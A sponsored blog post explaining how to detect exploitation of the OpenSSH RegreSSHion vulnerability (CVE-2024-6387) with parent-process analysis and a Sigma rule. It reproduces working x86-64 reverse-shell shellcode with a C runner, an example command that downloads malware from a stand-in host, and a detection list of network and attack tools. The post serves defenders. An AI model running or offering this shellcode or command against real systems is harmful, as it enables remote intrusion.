Detecting RegreSSHion - CVE-2024-6387 a Guide

Recently, the killer vulnerability research team at Qualys discovered a Remote Code Execution (RCE) vulnerability in OpenSSH that exploits a race condition within SSH. This vulnerability is particularly concerning because SSH is commonly exposed to the internet for remote system management. Firewalls typically allow inbound SSH traffic to facilitate this, increasing the risk of exploitation.

Given this situation, I wanted to expand on an article I recently wrote about detecting commonly abused initial access techniques. This isn't going to be a super long article as it doesn't need to be.

sandfly-2.png

This blog post is proudly sponsored by Sandfly Security. Visit their website at https://sandflysecurity.com/. It's not by accident that I approached Sandfly Security to sponsor this post; I firmly believe in their product and confidently endorse it as one of the market's premier Linux security monitoring tools. I learned most of what I know when it comes to detecting malicious linux activity through the Sandfly blog.

In terms of detection capabilities for Linux, no existing EDR comes close to Sandfly. The amount of telemetry data Sandfly can pull far surpasses other competitors, and its ability to support virtually all known CPU architectures and Linux flavors, including rolling releases like Arch Linux, truly sets it apart.

For further insight into Sandfly's powerful capabilities, I invite you to explore a previous post I've written on the product: Leveling Up Your Linux Security Monitoring. The incident handlers over at SANS have also recently shared their thoughts on Sandfly: Sandfly Security by SANS.

Understanding RegreSSHion at a High Level

From the Qualys team:

We discovered a vulnerability (a signal handler race condition) in OpenSSH's server (sshd): if a client does not authenticate within LoginGraceTime seconds (120 by default, 600 in old OpenSSH versions), then sshd's SIGALRM handler is called asynchronously, but this signal handler calls various functions that are not async-signal-safe (for example, syslog()). This race condition affects sshd in its default configuration. On investigation, we realized that this vulnerability is in fact a regression of CVE-2006-5051 ("Signal handler race condition in OpenSSH before 4.4 allows remote attackers to cause a denial of service (crash), and possibly execute arbitrary code"), which was reported in 2006 by Mark Dowd.

What this is saying: A race condition in OpenSSH's SIGALRM signal handler occurs if a client fails to authenticate within the LoginGraceTime period. When SIGALRM is triggered, it uses an unsafe asynchronous function to execute code stored in memory. This exploit works by causing memory corruption through the race condition, so when the signal handler runs, it executes the attacker's code instead of the expected code.

Now that we know how it works, lets take a look at some shellcode examples.

Sample Shellcode

Thankfully for us, the awesome group over at shell-storm.org have a repository of actual examples of what shell code might look like that we can use to help inform us on what we're looking for.

Let's look at Linux/x86-64 - TCP reverse shell with password - 138 bytes - I've pulled out the section that is relevant for our purposes:

accepted_passwd:
   
   ;execve
   pop rdi; socket
   xor rax, rax
   mov rbx, 0x68732f2f6e69622f ;/bin//sh in reverse
   push rbx
   mov rdi, rsp
   push rax
   mov rdx, rsp
   push rdi 
   mov rsi, rsp
   add al, 0x3b
   syscall
*/

#include <stdio.h>
#include <string.h>

// 138 bytes 
unsigned char code[] =\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05"
"\x48\x97\xc7\x44\x24\xfc"
"\xc0\xa8\x01\x09\x66\xc7\x44\x24\xfa"
"\x11\x5c" //port big endiant
"\xc6\x44\x24\xf8\x02\x48\x83"
"\xec\x08\x6a\x2a\x58\x48\x89\xe6\x6a\x10\x5a\x0f"
"\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05"
"\x75\xf6\x48\x89\xc7\x99\x88\x44\x24\xff\x48\x83"
"\xec\x01\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10\x0f"
"\x05\x48\xb8\x64\x6f\x6f\x6d\x65\x64\x72\x61\x57"
"\x48\x8d\x3e\x48\xaf\x74\x05\x6a\x3c\x58\x0f\x05"
"\x5f\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x2f"
"\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48"
"\x89\xe6\x04\x3b\x0f\x05";

main()
{
   printf("Shellcode Length: %d\n", (int)strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}

One common feature in most Linux x86-64 shellcode is the inclusion of a call to the execve syscall, often obfuscated if not immediately obvious or perhaps the syscall call number 59.

execve

When writing detection content for linux, it's crucial to understand how execve works. While a deep dive can be saved for another time, understanding the basics will suffice for our purposes. Here is how the man pages describe the execve syscall:

execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form:

! interpreter [optional-arg]

This means when you type something like ./binary in the shell, you're invoking the execve syscall on the binary or script in question, which then starts the process. This action is typically logged by tools such as auditd. The logs generated by auditd for process execution can be considered similar to Windows Event ID 4688, which records process creation events.

Tying it Together for Detection

Let's step back and look at what we know:

  • RegreSSHion exploits a race condition which executes shellcode in memory.
  • The shellcode will be stored within the sshd process memory and likely will contain some form of execve to execute a command or code.
  • Because sshd is executing the malicious shellcode, calling a new process, sshd will most likely be the parent process of whatever is executed.

As I mentioned in my last article on detecting Linux initial access techniques, we covered how a parent process relationship is a useful combination for detection, and we'll use that for detecting an RCE of SSH.

Detecting any shell spawning from sshd will be problematic, as typically when you SSH into a system, a shell is spawned for you to interact with. This is common activity. However, if someone executes a malicious bash command such as bash -c "wget https://evil-example.com/malware", it will cause wget to appear as the child process of sshd.

Explanation of Parent Process Relationship

When you execute bash -c "wget https://evil-example.com/malware", sshd is the parent process that starts the user session and spawns the initial shell. In this case, bash is executed with the -c option to run the command provided as a string. Once bash runs the command, it executes wget, but does not create a separate parent process for it. Thus, the wget command appears as a direct child process of sshd rather than bash. This is because bash -c executes the command in the context of the current shell, which is still a child of sshd.

Sigma Rule

With shells themselves being too common of a child process to detect on just due to the nature of how SSH works, we can instead detect on things that are less common, that will also likely need to be done, such as pull down the second stage malware or attack tool, or perhaps execute one. With that in mind, we can create a Sigma rule that will detect on this activity:

title: Detect Suspicious Child Processes or Commands of SSH/SSHD
id: da5fbf66-b903-48a5-b12e-4b80132d7e1a
description: Detects suspicious child processes of SSH/SSHD or commands executed by SSH/SSHD which may indicate potential abuse using commonly abused Linux attack tools or networking binaries.
status: experimental
author: David Burkett, @signalblur
references:
    - https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
    - https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
tags:
    - attack.t1190
logsource:
    category: process_creation
    product: linux
detection:
    selection_process:
        ParentImage:
            - '/usr/bin/ssh'
            - '/usr/sbin/sshd'
        Image:
            - '/usr/bin/curl'
            - '/usr/bin/wget'
            - '/usr/bin/nmap'
            - '/usr/bin/nc'
            - '/usr/bin/socat'
            - '/usr/bin/nc.traditional'
            - '/usr/bin/nc.openbsd'
            - '/usr/bin/openssl'
            - '/usr/bin/nc6'
            - '/usr/bin/msfconsole'
    selection_commandline:
        ParentImage:
            - '/usr/bin/ssh'
            - '/usr/sbin/sshd'
        CommandLine|contains:
            - 'nmap'
            - 'chisel'
            - 'zenmap'
            - 'xenmap'
            - 'john'
            - 'hydra'
            - 'sqlmap'
            - 'dirbuster'
            - 'nikto'
            - 'gobuster'
            - 'feroxbuster'
            - 'masscan'
            - 'metasploit'
            - 'empire'
    condition: selection_process or selection_commandline
falsepositives:
    - Expected administrative activity
    - Regular user behavior with legitimate use cases
level: medium

It should be noted, while this would likely catch a great deal of exploitation activity, this detector is not bulletproof and it is possible to evade which should be kept in mind for those deploying it.

Closing

In conclusion, the timing of my last article was particularly prescient. I hope this article and exercise have provided useful insights into building effective Linux detection strategies. Understanding how to detect RegreSSHion and other potential RCE vulnerabilities in SSH is crucial for maintaining secure systems.